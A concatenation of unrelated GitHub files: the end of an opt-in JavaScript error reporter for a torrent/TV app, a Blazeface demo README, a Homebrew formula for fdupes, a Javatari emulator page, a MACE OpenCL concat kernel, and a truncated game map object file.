function guid() {
function s4() {
return Math.floor((1 + Math.random()) * 0x10000)
.toString(16)
.substring(1)
}
return s4() + s4() + '-' + s4() + '-' + s4() + '-' +
s4() + '-' + s4() + s4() + s4()
}
localStorage.setItem('uniqueId', guid())
console.info('Generated unique user identifier for opt-in error tracking:', localStorage.getItem('uniqueId'))
}
// trap runtime errors
window.onerror = function(msg, url, line) {
var log = Loggr.Log
// dump UserPreferences
var userPrefs = JSON.parse(localStorage.getItem('userPreferences'))
var unwantedClientKeys = ['aria2', 'biglybt', 'deluge', 'ktorrent', 'qbittorrent', 'qbittorrent32plus', 'rtorrent', 'tixati', 'transmission', 'ttorrent', 'utorrent', 'utorrentwebui', 'vuze']
var activeClientKey = localStorage.getItem('torrenting.client').replace(/ /g, '').replace('3.2+', '32plus').replace('(pre3.2)', '').toLowerCase()
if (localStorage.getItem('torrenting.client')) {
unwantedClientKeys.splice(unwantedClientKeys.indexOf(activeClientKey), 1) // drop active client from list
}
Object.keys(userPrefs).map(function(key) {
// redact passwords
if (key.indexOf('password') > -1) {
userPrefs[key] = '*****'
}
// reduce list by dropping inactive keys (to help prevent loggr trunc)
unwantedClientKeys.map(function(unwantedClientKey) {
if (key.indexOf(unwantedClientKey + '.') > -1) {
delete userPrefs[key]
}
})
})
// dump local storage with exceptions to avoid overload.
var dumpLocalStorage = JSON.parse(JSON.stringify(localStorage));
['userPreferences', 'torrenting.hashList', 'trakttv.token', 'trakttv.trending.cache', 'alarms', 'xem.mappings', 'xem.aliasmap', 'snr.name-exceptions', 'snr.date-exceptions', 'fanart.cache', 'jackett', 'trackers.fallBackList'].map(function(key) {
delete dumpLocalStorage[key]
})
var data = 'Message: ' + msg + '<br>'
data += 'URL: ' + url + '<br>'
data += 'Line: ' + line + '<br>'
data += 'Platform: ' + navigator.platform + '<br>'
data += 'User Agent: ' + navigator.userAgent + '<br>'
data += 'Config: <pre>' + angular.toJson(userPrefs, true) + '</pre>'
data += 'Local Storage (filtered): <pre>' + angular.toJson(dumpLocalStorage, true) + '</pre>'
log.events.createEvent()
.text('Runtime error: ' + msg)
.tags('error')
.user(localStorage.getItem('uniqueId'))
.dataType(Loggr.dataType.html)
.data(data)
.post()
console.error(msg, url, line)
}
// trap console errors
console.olderror = console.error
console.error = function() {
console.olderror(arguments)
var log = Loggr.Log
// filter out unwanted error logging
var blacklist = ['connect call failed', 'could not load fanart']
var args = Array.prototype.slice.call(arguments)
var wanted = true
if (typeof args !== 'undefined' && args !== null && args.length > 0) {
blacklist.map(function(unwanted) {
if (args[0].toLowerCase().indexOf(unwanted) > -1) {
wanted = false
}
})
}
if (wanted) {
// dump UserPreferences
var userPrefs = JSON.parse(localStorage.getItem('userPreferences'))
var unwantedClientKeys = ['aria2', 'biglybt', 'deluge', 'ktorrent', 'qbittorrent', 'qbittorrent32plus', 'rtorrent', 'tixati', 'transmission', 'ttorrent', 'utorrent', 'utorrentwebui', 'vuze']
var activeClientKey = localStorage.getItem('torrenting.client').replace(/ /g, '').replace('3.2+', '32plus').replace('(pre3.2)', '').toLowerCase()
if (localStorage.getItem('torrenting.client')) {
unwantedClientKeys.splice(unwantedClientKeys.indexOf(activeClientKey), 1) // drop active client from list
}
Object.keys(userPrefs).map(function(key) {
// redact passwords
if (key.indexOf('password') > -1) {
userPrefs[key] = '*****'
}
// reduce list by dropping inactive keys (to help prevent loggr trunc)
unwantedClientKeys.map(function(unwantedClientKey) {
if (key.indexOf(unwantedClientKey + '.') > -1) {
delete userPrefs[key]
}
})
})
// dump local storage with exceptions to avoid overload.
var dumpLocalStorage = JSON.parse(JSON.stringify(localStorage));
['userPreferences', 'torrenting.hashList', 'trakttv.token', 'trakttv.trending.cache', 'alarms', 'xem.mappings', 'xem.aliasmap', 'snr.name-exceptions', 'snr.date-exceptions', 'fanart.cache', 'jackett', 'trackers.fallBackList'].map(function(key) {
delete dumpLocalStorage[key]
})
var data = 'Message: ' + JSON.stringify(arguments) + '<br>'
data += 'Platform: ' + navigator.platform + '<br>'
data += 'User Agent: ' + navigator.userAgent + '<br>'
data += 'Config: <pre>' + angular.toJson(userPrefs, true) + '</pre>'
data += 'Local Storage (filtered): <pre>' + angular.toJson(dumpLocalStorage, true) + '</pre>'
log.events.createEvent()
.text('Console.error: ' + JSON.stringify(arguments))
.tags('error')
.user(localStorage.getItem('uniqueId'))
.dataType(Loggr.dataType.html)
.data(data)
.post()
}
}
} else {
console.warn('Opt-In Error Tracking time limit of 7 days has expired. Turning off Error Tracking Service.')
localStorage.removeItem('optin_error_reporting')
localStorage.removeItem('optin_error_reporting.start_time')
}
}
/**
* extend the String object to add the getInfoHash method
* if the String contains a base16 infoHash then extract it and return it
* if the String contains a base32 infoHash then extract it, convert it to base16 and return that.
*/
String.prototype.getInfoHash = function() {
var infoHash16 = this.match(/([0-9A-Fa-f]{40})/) // extract base16 infoHash
if (infoHash16 && infoHash16.length) {
return infoHash16[0].toUpperCase()
} else {
var infoHash32 = this.match(/([2-7A-Z]{32})/) // extract base32 infoHash
if (infoHash32 && infoHash32.length) {
return ('0'.repeat(40) + basex16.encode(basex32.decode(infoHash32[0]))).slice(-40) // convert to base16 infohash (may need padding with zeroes to length 40)
} else {
return null // infoHash not found in String.
}
}
}
/**
* extend the String object to add the replaceInfoHash method
* if the String contains a base16 infoHash then return the String with the infoHash in UpperCase.
* if the String contains a base32 infoHash then replace it with the base16 equivalent.
*/
String.prototype.replaceInfoHash = function() {
var infoHash16 = this.match(/([0-9A-Fa-f]{40})/) // extract base16 infoHash
if (infoHash16 && infoHash16.length) {
return this.replace(infoHash16[0], infoHash16[0].toUpperCase()) // replace base16 with upperCase
} else {
var infoHash32 = this.match(/([2-7A-Z]{32})/) // extract base32 infoHash
if (infoHash32 && infoHash32.length) {
return this.replace(infoHash32[0], ('0'.repeat(40) + basex16.encode(basex32.decode(infoHash32[0]))).slice(-40)) // convert base32 to base16 infohash (may need padding with zeroes to length 40) and replace it in String
} else {
return this.toString() // infoHash not found in String
}
}
}
/**
* extend the Number object to add the minsToDhm method
* converts numerical total minutes to a "days hours:minutes" string
*/
Number.prototype.minsToDhm = function() {
var days = parseInt(this / (60 * 24))
var hours = parseInt(this / 60) % 24
var minutes = parseInt(this) % 60
return days + ' ' + ('0' + hours).slice(-2) + ':' + ('0' + minutes).slice(-2)
}
/**
* extend the String object to add the dhmToMins method
* converts a "days hours:minutes" string to numerical total minutes
*/
String.prototype.dhmToMins = function() {
var dhmPart = this.split(/[\s:]+/, 3)
if (dhmPart.length === 3) {
return parseInt(dhmPart[0] * 24 * 60) + parseInt(dhmPart[1] * 60) + parseInt(dhmPart[2])
} else {
return undefined
}
}
window.debug982 = (localStorage.getItem('debug982'))
/**
* drop bebasRegular fontFamily if user enabled mixedCase
*/
if (localStorage.getItem('font.bebas.disabled')) {
var elemStyle = document.createElement('style')
elemStyle.id = 'bebas-override'
elemStyle.innerHTML = [
'h1, h2, h3, strong, .inline-checkbox label, sidepanel .buttons .torrent-mini-remote-control>span, .settings .buttons .btn {',
'font-family: helvetica, sans-serif !important;',
'}',
'strong {',
'font-weight: bold !important;',
'}',
'strong, sidepanel .buttons .torrent-mini-remote-control> span, sidepanel .buttons strong {',
'letter-spacing: normal !important;',
'}'
].join(' ')
document.body.insertBefore(elemStyle, document.body.firstChild)
}
|
{
"pile_set_name": "Github"
}
|
# Blazeface demo
## Contents
This demo shows how to use the Blazeface model to detect faces in a video stream.
## Setup
cd into the demos folder:
```sh
cd blazeface/demos
```
Install dependencies and prepare the build directory:
```sh
yarn
```
To watch files for changes, and launch a dev server:
```sh
yarn watch
```
## If you are developing blazeface locally, and want to test the changes in the demos
Cd into the blazeface folder:
```sh
cd blazeface
```
Install dependencies:
```sh
yarn
```
Publish blazeface locally:
```sh
yarn build && yarn yalc publish
```
Cd into the demos and install dependencies:
```sh
cd demos
yarn
```
Link the local blazeface to the demos:
```sh
yarn yalc link @tensorflow-models/blazeface
```
Start the dev demo server:
```sh
yarn watch
```
To get future updates from the blazeface source code:
```
# cd up into the blazeface directory
cd ../
yarn build && yarn yalc push
```
|
{
"pile_set_name": "Github"
}
|
class Fdupes < Formula
desc "Identify or delete duplicate files"
homepage "https://github.com/adrianlopezroche/fdupes"
url "https://github.com/adrianlopezroche/fdupes/releases/download/v2.1.2/fdupes-2.1.2.tar.gz"
sha256 "cd5cb53b6d898cf20f19b57b81114a5b263cc1149cd0da3104578b083b2837bd"
license "MIT"
version_scheme 1
bottle do
cellar :any
sha256 "e77144bd7d4b3ed472590b0bb7cb99dea185cf57b5b645bb0558c312441624c0" => :catalina
sha256 "d9504149274c97eb7edb268d43ff18ebd292046d4c5691ae7c7aa9d16b40b0b3" => :mojave
sha256 "0bd9b7c00c454042c485b1839ce6cef7f42af21710aa0d83f64a51ab5b18bfe2" => :high_sierra
end
depends_on "pcre2"
uses_from_macos "ncurses"
def install
system "./configure", "--prefix=#{prefix}"
system "make"
system "make", "install"
end
test do
touch "a"
touch "b"
dupes = shell_output("#{bin}/fdupes .").strip.split("\n").sort
assert_equal ["./a", "./b"], dupes
end
end
|
{
"pile_set_name": "Github"
}
|
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title>Javatari</title>
<meta name="description" content="Javatari - The online Atari 2600 emulator">
</head>
<body>
<div id="javatari" style="text-align: center; margin: 20px auto 0; padding: 0 10px;">
<div id="javatari-screen" style="box-shadow: 2px 2px 10px rgba(0, 0, 0, .7);"></div>
</div>
<script src="javatari.js"></script>
</body>
</html>
|
{
"pile_set_name": "Github"
}
|
// Copyright 2018 The MACE Authors. All Rights Reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
#include "mace/ops/opencl/image/concat.h"
#include <algorithm>
#include <set>
#include <string>
namespace mace {
namespace ops {
namespace opencl {
namespace image {
namespace concat {
namespace {
std::vector<uint32_t> LocalWS(OpenCLRuntime *runtime,
const uint32_t *gws,
const uint32_t kwg_size) {
std::vector<uint32_t> lws(4, 0);
if (kwg_size == 0) {
lws[0] = lws[1] = lws[2] = 1;
} else {
uint64_t
cache_size = runtime->device_global_mem_cache_size();
uint32_t base = std::max<uint32_t>(cache_size / kBaseGPUMemCacheSize, 1);
lws[1] = std::min<uint32_t>(gws[1], kwg_size);
lws[0] = std::min<uint32_t>(base, kwg_size / lws[1]);
const uint32_t lws_size = lws[0] * lws[1];
lws[2] =
std::max<uint32_t>(std::min<uint32_t>(base, kwg_size / lws_size), 1);
}
return lws;
}
} // namespace
MaceStatus Concat2(OpContext *context,
cl::Kernel *kernel,
const Tensor *input0,
const Tensor *input1,
std::vector<index_t> *prev_input_shape,
Tensor *output,
uint32_t *kwg_size) {
const index_t batch = output->dim(0);
const index_t height = output->dim(1);
const index_t width = output->dim(2);
const index_t channel = output->dim(3);
const int channel_blk = RoundUpDiv4(channel);
const uint32_t gws[3] = {
static_cast<uint32_t>(channel_blk), static_cast<uint32_t>(width),
static_cast<uint32_t>(batch * height),
};
auto runtime = context->device()->gpu_runtime()->opencl_runtime();
MACE_OUT_OF_RANGE_DEFINITION;
if (kernel->get() == nullptr) {
std::set<std::string> built_options;
MACE_OUT_OF_RANGE_CONFIG;
MACE_NON_UNIFORM_WG_CONFIG;
std::string kernel_name = MACE_OBFUSCATE_SYMBOL("concat_channel");
built_options.emplace("-Dconcat_channel=" + kernel_name);
if (input0->dtype() == output->dtype()) {
auto data_dt = input0->dtype();
built_options.emplace("-DDATA_TYPE=" + DtToCLDt(data_dt));
built_options.emplace("-DCMD_DATA_TYPE=" + DtToCLCMDDt(data_dt));
} else {
built_options.emplace("-DDATA_TYPE=" + DtToCLDt(DT_FLOAT));
built_options.emplace("-DCMD_DATA_TYPE=" + DtToCLCMDDt(DT_FLOAT));
}
if (input0->dim(3) % 4 == 0) {
built_options.emplace("-DDIVISIBLE_FOUR");
}
MACE_RETURN_IF_ERROR(runtime->BuildKernel("concat", kernel_name,
built_options, kernel));
*kwg_size =
static_cast<uint32_t>(runtime->GetKernelMaxWorkGroupSize(*kernel));
}
MACE_OUT_OF_RANGE_INIT(*kernel);
if (!IsVecEqual(*prev_input_shape, input0->shape())) {
uint32_t idx = 0;
MACE_OUT_OF_RANGE_SET_ARGS(*kernel);
MACE_SET_3D_GWS_ARGS(*kernel, gws);
kernel->setArg(idx++,
*(static_cast<const cl::Image2D *>(input0->opencl_image())));
kernel->setArg(idx++,
*(static_cast<const cl::Image2D *>(input1->opencl_image())));
kernel->setArg(idx++, static_cast<int32_t>(input0->dim(3)));
kernel->setArg(idx++, static_cast<int32_t>(input1->dim(3)));
kernel->setArg(idx++,
*(static_cast<cl::Image2D *>(output->opencl_image())));
*prev_input_shape = input0->shape();
}
const std::vector<uint32_t> lws = LocalWS(runtime, gws, *kwg_size);
std::string tuning_key =
Concat("concat_opencl_kernel", output->dim(0), output->dim(1),
output->dim(2), output->dim(3));
MACE_RETURN_IF_ERROR(TuningOrRun3DKernel(runtime, *kernel, tuning_key,
gws, lws, context->future()));
MACE_OUT_OF_RANGE_VALIDATION;
return MaceStatus::MACE_SUCCESS;
}
MaceStatus ConcatN(OpContext *context,
cl::Kernel *kernel,
const std::vector<const Tensor *> &input_list,
Tensor *output,
uint32_t *kwg_size) {
const index_t batch = output->dim(0);
const index_t height = output->dim(1);
const index_t width = output->dim(2);
auto runtime = context->device()->gpu_runtime()->opencl_runtime();
MACE_OUT_OF_RANGE_DEFINITION;
if (kernel->get() == nullptr) {
std::set<std::string> built_options;
MACE_OUT_OF_RANGE_CONFIG;
MACE_NON_UNIFORM_WG_CONFIG;
std::string kernel_name = MACE_OBFUSCATE_SYMBOL("concat_channel_multi");
built_options.emplace("-Dconcat_channel_multi=" + kernel_name);
built_options.emplace("-DDATA_TYPE=" + DtToCLDt(DT_FLOAT));
built_options.emplace("-DCMD_DATA_TYPE=" + DtToCLCMDDt(DT_FLOAT));
MACE_RETURN_IF_ERROR(runtime->BuildKernel("concat", kernel_name,
built_options, kernel));
*kwg_size =
static_cast<uint32_t>(runtime->GetKernelMaxWorkGroupSize(*kernel));
}
const int inputs_count = input_list.size();
index_t chan_blk_offset = 0;
cl::Event event;
CallStats call_stats{INT64_MAX, 0};
MACE_OUT_OF_RANGE_INIT(*kernel);
for (int i = 0; i < inputs_count; ++i) {
const Tensor *input = input_list[i];
index_t input_channel_blk = input->dim(3) / 4;
const uint32_t gws[3] = {
static_cast<uint32_t>(input_channel_blk), static_cast<uint32_t>(width),
static_cast<uint32_t>(batch * height),
};
const std::vector<uint32_t> lws = LocalWS(runtime, gws, *kwg_size);
uint32_t idx = 0;
MACE_OUT_OF_RANGE_SET_ARGS(*kernel);
MACE_SET_3D_GWS_ARGS(*kernel, gws);
kernel->setArg(idx++, *(input->opencl_image()));
kernel->setArg(idx++, static_cast<int32_t>(chan_blk_offset));
kernel->setArg(idx++, *(output->opencl_image()));
chan_blk_offset += input_channel_blk;
cl_int error;
if (runtime->IsNonUniformWorkgroupsSupported()) {
error = runtime->command_queue().enqueueNDRangeKernel(
*kernel, cl::NullRange, cl::NDRange(gws[0], gws[1], gws[2]),
cl::NDRange(lws[0], lws[1], lws[2]), nullptr, &event);
} else {
std::vector<uint32_t> roundup_gws(lws.size());
for (size_t j = 0; j < 3; ++j) {
roundup_gws[j] = RoundUp(gws[j], lws[j]);
}
error = runtime->command_queue().enqueueNDRangeKernel(
*kernel, cl::NullRange,
cl::NDRange(roundup_gws[0], roundup_gws[1], roundup_gws[2]),
cl::NDRange(lws[0], lws[1], lws[2]), nullptr, &event);
}
MACE_CL_RET_STATUS(error);
MACE_OUT_OF_RANGE_VALIDATION;
if (context->future() != nullptr && runtime->is_profiling_enabled()) {
event.wait();
CallStats tmp_stats;
runtime->GetCallStats(event, &tmp_stats);
call_stats.start_micros =
std::min<int64_t>(tmp_stats.start_micros, call_stats.start_micros);
call_stats.end_micros += tmp_stats.end_micros - tmp_stats.start_micros;
}
}
if (context->future() != nullptr) {
context->future()->wait_fn = [call_stats](CallStats *stats) {
if (stats != nullptr) {
stats->start_micros = call_stats.start_micros;
stats->end_micros = stats->start_micros + call_stats.end_micros;
}
};
}
return MaceStatus::MACE_SUCCESS;
}
} // namespace concat
MaceStatus ConcatKernel::Compute(
OpContext *context,
const std::vector<const Tensor *> &input_list,
const int32_t axis,
Tensor *output) {
const int inputs_count = input_list.size();
const Tensor *input0 = input_list[0];
std::vector<index_t> output_shape(input0->shape());
for (int i = 1; i < inputs_count; ++i) {
const Tensor *input = input_list[i];
MACE_CHECK(input->dim_size() == input0->dim_size(),
"Ranks of all input tensors must be same.");
for (int j = 0; j < input->dim_size(); ++j) {
if (j == axis) {
continue;
}
MACE_CHECK(input->dim(j) == input0->dim(j),
"Dimensions of inputs should equal except axis.");
}
output_shape[axis] += input->dim(axis);
}
std::vector<size_t> image_shape;
OpenCLUtil::CalImage2DShape(output_shape,
OpenCLBufferType::IN_OUT_CHANNEL,
&image_shape);
MACE_RETURN_IF_ERROR(output->ResizeImage(output_shape, image_shape));
switch (inputs_count) {
case 2:
return concat::Concat2(
context, &kernel_, input_list[0], input_list[1],
&input_shape_, output, &kwg_size_);
default:
return concat::ConcatN(context,
&kernel_,
input_list,
output,
&kwg_size_);
}
}
} // namespace image
} // namespace opencl
} // namespace ops
} // namespace mace
|
{
"pile_set_name": "Github"
}
|
<?xml version="1.0" encoding="utf-8"?>
<yaml xmlns:yamlconv="yamlconv" yamlconv:endianness="big" yamlconv:offsetCount="3">
<Objs type="array">
<value HashId="29577249" SRTHash="-567510222">
<Translate type="array">
<value>-3745.406f</value>
<value>146.3413f</value>
<value>3599.865f</value>
</Translate>
<UnitConfigName type="string">FldObj_GerudoDesertRock_A_05</UnitConfigName>
</value>
<value HashId="83665939" SRTHash="86552305">
<Rotate type="array">
<value>0f</value>
<value>0f</value>
<value>-0.09999999f</value>
</Rotate>
<Translate type="array">
<value>-3674.826f</value>
<value>123.4488f</value>
<value>3579.053f</value>
</Translate>
<UnitConfigName type="string">FldObj_GerudoDesertRock_A_05</UnitConfigName>
</value>
<value HashId="108657362" SRTHash="2010946339" Scale="1.22439f">
<Rotate type="array">
<value>3.066603f</value>
<value>-0.356719f</value>
<value>-3.072433f</value>
</Rotate>
<Translate type="array">
<value>-3765.65f</value>
<value>125.651f</value>
<value>3389.262f</value>
</Translate>
<UnitConfigName type="string">FldObj_GerudoDesertRock_A_31</UnitConfigName>
</value>
<value HashId="123782689" Rotate="-0.5768144f" SRTHash="1337572783">
<Translate type="array">
<value>-3741.682f</value>
<value>144.9924f</value>
<value>3631.7f</value>
</Translate>
<UnitConfigName type="string">FldObj_GerudoDesertRock_A_05</UnitConfigName>
</value>
<value HashId="184713871" SRTHash="-828270576">
<_Parameters SharpWeaponJudgeType="0" TurnActorNearEnemy="true">
<DropTable type="string">Gerudo</DropTable>
</_Parameters>
<Rotate type="array">
<value>-0.00400062f</value>
<value>-0.01046962f</value>
<value>0.1498676f</value>
</Rotate>
<Translate type="array">
<value>-3749.543f</value>
<value>151.0709f</value>
<value>3599.689f</value>
</Translate>
<UnitConfigName type="string">KibakoDesert_Contain_01</UnitConfigName>
</value>
<value HashId="195121924" SRTHash="-1489987056" Scale="35f">
<_Parameters IsStopWithoutReductionY="false" SpotBgmLifeScaleMargin="0f">
<Shape type="string">Sphere</Shape>
<Sound type="string">ObservationPostBgm</Sound>
</_Parameters>
<Translate type="array">
<value>-3430f</value>
<value>175f</value>
<value>3130f</value>
</Translate>
<UnitConfigName type="string">SpotBgmTag</UnitConfigName>
</value>
<value HashId="221859876" Rotate="-0.136814f" SRTHash="1316759926">
<Translate type="array">
<value>-3831.688f</value>
<value>118.5512f</value>
<value>3586.785f</value>
</Translate>
<UnitConfigName type="string">FldObj_GerudoDesertRock_A_10</UnitConfigName>
</value>
<value HashId="249226348" SRTHash="-819120191">
<_Parameters EnableRevival="false" IsInGround="false" SharpWeaponJudgeType="0" StartNoDraw="false">
<DropActor type="string">Obj_BombArrow_A_03</DropActor>
</_Parameters>
<Rotate type="array">
<value>-0.02714937f</value>
<value>0.6726794f</value>
<value>0.1107198f</value>
</Rotate>
<Translate type="array">
<value>-3751.359f</value>
<value>150.6079f</value>
<value>3602.25f</value>
</Translate>
<UnitConfigName type="string">TBox_Field_Iron</UnitConfigName>
</value>
<value HashId="302078917" Rotate="-2.859999f" SRTHash="1312608018">
<Translate type="array">
<value>-3431.205f</value>
<value>156.6503f</value>
<value>3100.372f</value>
</Translate>
<UnitConfigName type="string">FldObj_GerudoDesertRock_A_31</UnitConfigName>
</value>
<value HashId="342209271" Rotate="-2.483186f" SRTHash="-1667387380">
<Translate type="array">
<value>-3773.245f</value>
<value>154.808f</value>
<value>3131.638f</value>
</Translate>
<UnitConfigName type="string">Obj_TreePalmMini_A_01</UnitConfigName>
</value>
<value HashId="349009063" SRTHash="-412759732" Scale="40f">
<_Parameters IsStopWithoutReductionY="false" SpotBgmLifeScaleMargin="0f">
<Shape type="string">Sphere</Shape>
<Sound type="string">CmnWildBgm</Sound>
</_Parameters>
<Translate type="array">
<value>-3792f</value>
<value>162f</value>
<value>3124f</value>
</Translate>
<UnitConfigName type="string">SpotBgmTag</UnitConfigName>
</value>
<value HashId="377773507" Rotate="-2.96f" SRTHash="-1542178127">
<Translate type="array">
<value>-3652.444f</value>
<value>139.3911f</value>
<value>3617.111f</value>
</Translate>
<UnitConfigName type="string">FldObj_GerudoDesertRock_A_12</UnitConfigName>
</value>
<value HashId="380827232" Rotate="0.1384077f" SRTHash="679366394">
<Translate type="array">
<value>-3710.693f</value>
<value>145.5087f</value>
<value>3635.985f</value>
</Translate>
<UnitConfigName type="string">FldObj_GerudoDesertRock_A_05</UnitConfigName>
</value>
<value HashId="417128596" SRTHash="-1995991223">
<Rotate type="array">
<value>0.8799996f</value>
<value>0.5399971f</value>
<value>0f</value>
</Rotate>
<Translate type="array">
<value>-3034.27f</value>
<value>177.2569f</value>
<value>3762.65f</value>
</Translate>
<UnitConfigName type="string">Obj_LiftRockGerudo_Korok_A_01</UnitConfigName>
</value>
<value HashId="462276861" SRTHash="786725735">
<_Parameters SharpWeaponJudgeType="0" TurnActorNearEnemy="true">
<DropTable type="string">Gerudo</DropTable>
</_Parameters>
<Rotate type="array">
<value>-0.01854018f</value>
<value>0.6027603f</value>
<value>0.04268963f</value>
</Rotate>
<Translate type="array">
<value>-3752.514f</value>
<value>150.5068f</value>
<value>3600.803f</value>
</Translate>
<UnitConfigName type="string">KibakoDesert_Contain_01</UnitConfigName>
</value>
<value HashId="579736494" SRTHash="654550519">
<Rotate type="array">
<value>0.4600001f</value>
<value>0.5399971f</value>
<value>0f</value>
</Rotate>
<Translate type="array">
<value>-3034.56f</value>
<value>178.0357f</value>
<value>3747.713f</value>
</Translate>
<UnitConfigName type="string">Obj_LiftRockGerudo_Korok_A_01</UnitConfigName>
</value>
<value HashId="594104148" SRTHash="1859966197">
<_Parameters IsEnemyLiftable="true" SharpWeaponJudgeType="0" TurnActorNearEnemy="true">
<DropTable type="string">Normal</DropTable>
</_Parameters>
<Rotate type="array">
<value>0.01720541f</value>
<value>-0.001800991f</value>
<value>-0.02809213f</value>
</Rotate>
<Translate type="array">
<value>-3749.733f</value>
<value>150.7959f</value>
<value>3607.097f</value>
</Translate>
<UnitConfigName type="string">Pot</UnitConfigName>
</value>
<value HashId="657299693" Rotate="2.899999f" SRTHash="1257705575">
<Translate type="array">
<value>-3038.414f</value>
<value>177.6102f</value>
<value>3749.271f</value>
</Translate>
<UnitConfigName type="string">Obj_LiftRockGerudo_Korok_A_01</UnitConfigName>
</value>
<value HashId="673122750" Rotate="-0.1568143f" SRTHash="-1787070983">
<Translate type="array">
<value>-3674.181f</value>
<value>128.0254f</value>
<value>3702.259f</value>
</Translate>
<UnitConfigName type="string">FldObj_GerudoDesertRock_A_11</UnitConfigName>
</value>
<value HashId="683968680" SRTHash="-1721177570">
<Rotate type="array">
<value>-1.16f</value>
<value>0.5399971f</value>
<value>0f</value>
</Rotate>
<Translate type="array">
<value>-3027.241f</value>
<value>179.2233f</value>
<value>3758.593f</value>
</Translate>
<UnitConfigName type="string">Obj_LiftRockGerudo_Korok_A_01</UnitConfigName>
</value>
<value HashId="690378690" Rotate="-0.8600001f" SRTHash="1219300163">
<Translate type="array">
<value>-3410.154f</value>
<value>154.119f</value>
<value>3101.258f</value>
</Translate>
<UnitConfigName type="string">FldObj_GerudoDesertRock_A_30</UnitConfigName>
</value>
<value HashId="713771261" SRTHash="-2038178002">
<_Parameters InitMotionStatus="0" IsEnemyLiftable="true" IsPlayerPut="false" SharpWeaponJudgeType="0">
<DropTable type="string">Normal</DropTable>
</_Parameters>
<Translate type="array">
<value>-3835.042f</value>
<value>2000f</value>
<value>3593.625f</value>
</Translate>
<UnitConfigName type="string">Obj_ElectricArrow_A_01</UnitConfigName>
</value>
<value HashId="746185880" Rotate="1.64f" SRTHash="-767193400">
<Translate type="array">
<value>-3770.668f</value>
<value>154.7922f</value>
<value>3127.773f</value>
</Translate>
<UnitConfigName type="string">Obj_TreePalmMini_A_01</UnitConfigName>
</value>
<value HashId="789363981" Rotate="-2.063186f" SRTHash="-1368129345">
<Translate type="array">
<value>-3823.415f</value>
<value>157.4917f</value>
<value>3136.287f</value>
</Translate>
<UnitConfigName type="string">Obj_TreePalmMini_A_01</UnitConfigName>
</value>
<value HashId="826222399" SRTHash="1428260405">
<Translate type="array">
<value>-3636.246f</value>
<value>119.6842f</value>
<value>3663.213f</value>
</Translate>
<UnitConfigName type="string">FldObj_GerudoDesertRock_A_05</UnitConfigName>
</value>
<value HashId="867574630" SRTHash="-1376903574" Scale="1.086238f">
<Rotate type="array">
<value>0.07999997f</value>
<value>4.279912E-09f</value>
<value>1.58512E-08f</value>
</Rotate>
<Translate type="array">
<value>-3737.241f</value>
<value>120.074f</value>
<value>3489.398f</value>
</Translate>
<UnitConfigName type="string">FldObj_GerudoDesertRock_A_08</UnitConfigName>
</value>
<value HashId="888716994" Rotate="0.6828613f" SRTHash="-315980738">
<_Parameters InitMotionStatus="0" IsEnemyLiftable="true" IsPlayerPut="false" SharpWeaponJudgeType="0">
<DropTable type="string">Normal</DropTable>
</_Parameters>
<Translate type="array">
<value>-3700.309f</value>
<value>125.1155f</value>
<value>3662.199f</value>
</Translate>
<UnitConfigName type="string">Item_Plant_L</UnitConfigName>
</value>
<value HashId="903701968" SRTHash="-10471258">
<Rotate type="array">
<value>-2.329077f</value>
<value>-0.07740459f</value>
<value>2.981108f</value>
</Rotate>
<Translate type="array">
<value>-3028.967f</value>
<value>179.0603f</value>
<value>3760.802f</value>
</Translate>
<UnitConfigName type="string">Obj_LiftRockGerudo_Korok_A_01</UnitConfigName>
</value>
<value HashId="931551683" Rotate="-2.146371f" SRTHash="-1914095648">
<Translate type="array">
<value>-3798.157f</value>
<value>157.4153f</value>
<value>3136.453f</value>
</Translate>
<UnitConfigName type="string">Obj_TreePalmMini_A_01</UnitConfigName>
</value>
<value HashId="937703032" Rotate="0.5399978f" SRTHash="-1808949682">
<Translate type="array">
<value>-3040.649f</value>
<value>176.0046f</value>
<value>3759.146f</value>
</Translate>
<UnitConfigName type="string">Obj_LiftRockGerudo_Korok_A_01</UnitConfigName>
</value>
<value HashId="942881451" Rotate="0.6599998f" SRTHash="586018160">
<Translate type="array">
<value>-3764.907f</value>
<value>154.7902f</value>
<value>3127.125f</value>
</Translate>
<UnitConfigName type="string">Obj_TreePalmMini_A_01</UnitConfigName>
</value>
<value HashId="953872600" SRTHash="152899731">
<Rotate type="array">
<value>3.101593f</value>
<value>0.4752222f</value>
<value>3.141593f</value>
</Rotate>
<Translate type="array">
<value>-3711.03f</value>
<value>145.0942f</value>
<value>3615.133f</value>
</Translate>
<UnitConfigName type="string">FldObj_GerudoDesertRock_A_05</UnitConfigName>
</value>
<value HashId="958558798" Rotate="0.2231851f" SRTHash="-465006950">
<_Parameters AngleY="0f" CutRate="0f" SharpWeaponJudgeType="0">
<DropTable type="string">Normal</DropTable>
</_Parameters>
<Translate type="array">
<value>-3775.179f</value>
<value>154.8453f</value>
<value>3129.587f</value>
</Translate>
<UnitConfigName type="string">Obj_TreePalm_A_01</UnitConfigName>
</value>
<value HashId="980318225" SRTHash="-1220103960" Scale="1.226815f">
<Rotate type="array">
<value>-2.149971f</value>
<value>-1.333162f</value>
<value>2.136988f</value>
</Rotate>
<Translate type="array">
<value>-3767.838f</value>
<value>123.2999f</value>
<value>3541.685f</value>
</Translate>
<UnitConfigName type="string">FldObj_GerudoDesertRock_A_08</UnitConfigName>
</value>
<value HashId="992309119" Rotate="-2.28f" SRTHash="467137886" Scale="1.086238f">
<Translate type="array">
<value>-3804.376f</value>
<value>114.2989f</value>
<value>3700.236f</value>
</Translate>
<UnitConfigName type="string">FldObj_GerudoDesertRock_A_08</UnitConfigName>
</value>
<value HashId="1054690226" SRTHash="-692752502">
<Rotate type="array">
<value>0.58f</value>
<value>0.5399971f</value>
<value>0f</value>
</Rotate>
<Translate type="array">
<value>-3038.428f</value>
<value>175.9731f</value>
<value>3761.356f</value>
</Translate>
<UnitConfigName type="string">Obj_LiftRockGerudo_Korok_A_01</UnitConfigName>
</value>
<value HashId="1067529097" SRTHash="0">
<_Parameters InitMotionStatus="0" IsEnemyLiftable="true" IsPlayerPut="false" SharpWeaponJudgeType="0">
<DropTable type="string">Normal</DropTable>
</_Parameters>
<Rotate type="array">
